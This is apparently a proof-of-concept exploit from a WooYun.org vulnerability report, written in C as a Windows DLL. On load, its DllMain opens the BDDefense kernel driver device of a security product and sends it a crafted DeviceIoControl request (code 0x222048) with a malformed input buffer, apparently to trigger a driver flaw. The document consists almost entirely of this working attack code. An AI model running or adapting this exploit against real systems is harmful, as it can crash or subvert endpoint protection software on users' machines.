WooYun.org

void CallDriver(HANDLE hDev)
{
	char inputBuff[0x1000] = { 0 };
	DWORD code = 0x222048;
	DWORD inputLen = 0x1c;
	DWORD dwReturned = 0;
	DWORD a[] = {0x0000000d,0x00000001, 0xffffffff, 0, 0, 0, 0};
	for(DWORD i = 0; i < sizeof(a)/sizeof(*a); ++i)
	{
		*((DWORD*)(inputBuff + 4*i)) = a[i];
	}
	DeviceIoControl(hDev,
		code, 
		(LPVOID)inputBuff,
		inputLen, 
		NULL, 
		0, 
		&dwReturned,
		NULL);
}
void FuzzDriver()
{
	LPCTSTR DevName = _T("\\\\.\\BDDefense");
	HANDLE hDev = CreateFile(DevName,
		GENERIC_READ,
		FILE_SHARE_READ|FILE_SHARE_WRITE,
		NULL,
		OPEN_EXISTING,
		FILE_ATTRIBUTE_NORMAL,
		NULL);
	if(INVALID_HANDLE_VALUE != hDev)
	{
		CallDriver(hDev);
		CloseHandle(hDev);
	}
}
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
					 )
{
     FuzzDriver();
    return TRUE;
}